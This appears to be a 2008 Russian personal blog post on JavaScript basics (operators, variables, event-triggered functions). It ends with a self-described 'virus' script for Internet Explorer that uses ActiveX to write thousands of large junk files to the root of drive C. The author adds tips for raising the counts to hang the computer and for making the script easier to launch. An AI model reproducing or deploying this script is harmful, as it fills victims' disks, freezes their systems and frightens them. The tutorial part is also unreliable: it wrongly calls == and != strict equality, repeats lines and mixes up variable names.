Операторы и логические операции в JavaScript
Вторник, 26/02/2008Логические операции:
&& логическое “и”
|| логическое “или”
! логическое “не”
== строго равно
!= строго не равно
&& логическое “и”
|| логическое “или”
! логическое “не”
== строго равно
!= строго не равно
var name1 = “Джон”; // записываем строку в переменную
var year1 = “1883″; // записываем строку
var year2 = 1883; // записываем число
мы записали в переменную name1 строку “Джон”, в переменную year2 строку “1883″, а в переменную year2 - число 1883.
Простое объяснение: основная идея заключается в том, что функцию обычно сначала определяют:
<script>
function menuOn()
{
alert(”Привет!”); //действия, которые выполняет функция
}
</script>
а потом вызывают с помощью события, встроенного в HTML элемент:
<a href=”price.php” onMouseOver=”menuOn();”>
Функция выполняет вызов алерта
Привожу выдержку из моего письма одной знакомой, в которой я объяснял как работает JavaScript, умеющий записывать файлы на жесткий диск компьютера. Этот скрипт работает только в ИЕ и только с включенной поддержкой ActiveX.
Если я запускаю HTML файл с этим скриптом с жесткого диска, он пишет 10 файлов в корень диска C:// с содержанием типа “best_virus_for_you”, а когда загружаешь его в интернет - скрипт перестает работать.
Я подумаю как сделать запуск по-проще. В свою очередь, если вместо цифр “10″ в скрипте написать цифры с большим количеством нулей - то комп подвиснет, и пользователь будет удалять оооочень много файлов.
Если тебе интересно - то синим отмечено количество слов “Virus_” внутри документа который он создает - это может быть любой формат, даже .txt или .inf.
А зеленым отмечено сколько файлов в конечном итоге будет создано.100000 слов “Virus_” в текстовом документе порождает файл размером в 700 кб.
<script>
txt = “Hello!_A_am_VIRUS!!!_kill_me_if_you_can!___”;
for (i=1; i<100000; i++){
txt = txt + “Virus_”;}
var fso = new ActiveXObject(”Scripting.FileSystemObject”);for (i=1; i<5000; i++){
var file = fso.CreateTextFile(”C:\\virus” + i + “.txt”);file.WriteLine(txt);
file.Close();
}
</script>У меня завтра типа как-бы экзамен, или зачет по JavaScript поэтому щас нужно готовиться… все никак собраться не могу
![]()
Так вот, максимум вреда, который может причинить данный файл - это просто напугать пользователя и/или вынудить его удалять бесчисленное множество файлов. Подвисание компьютера возможно, но маловероятно. Подвисание браузера почти гарантировано.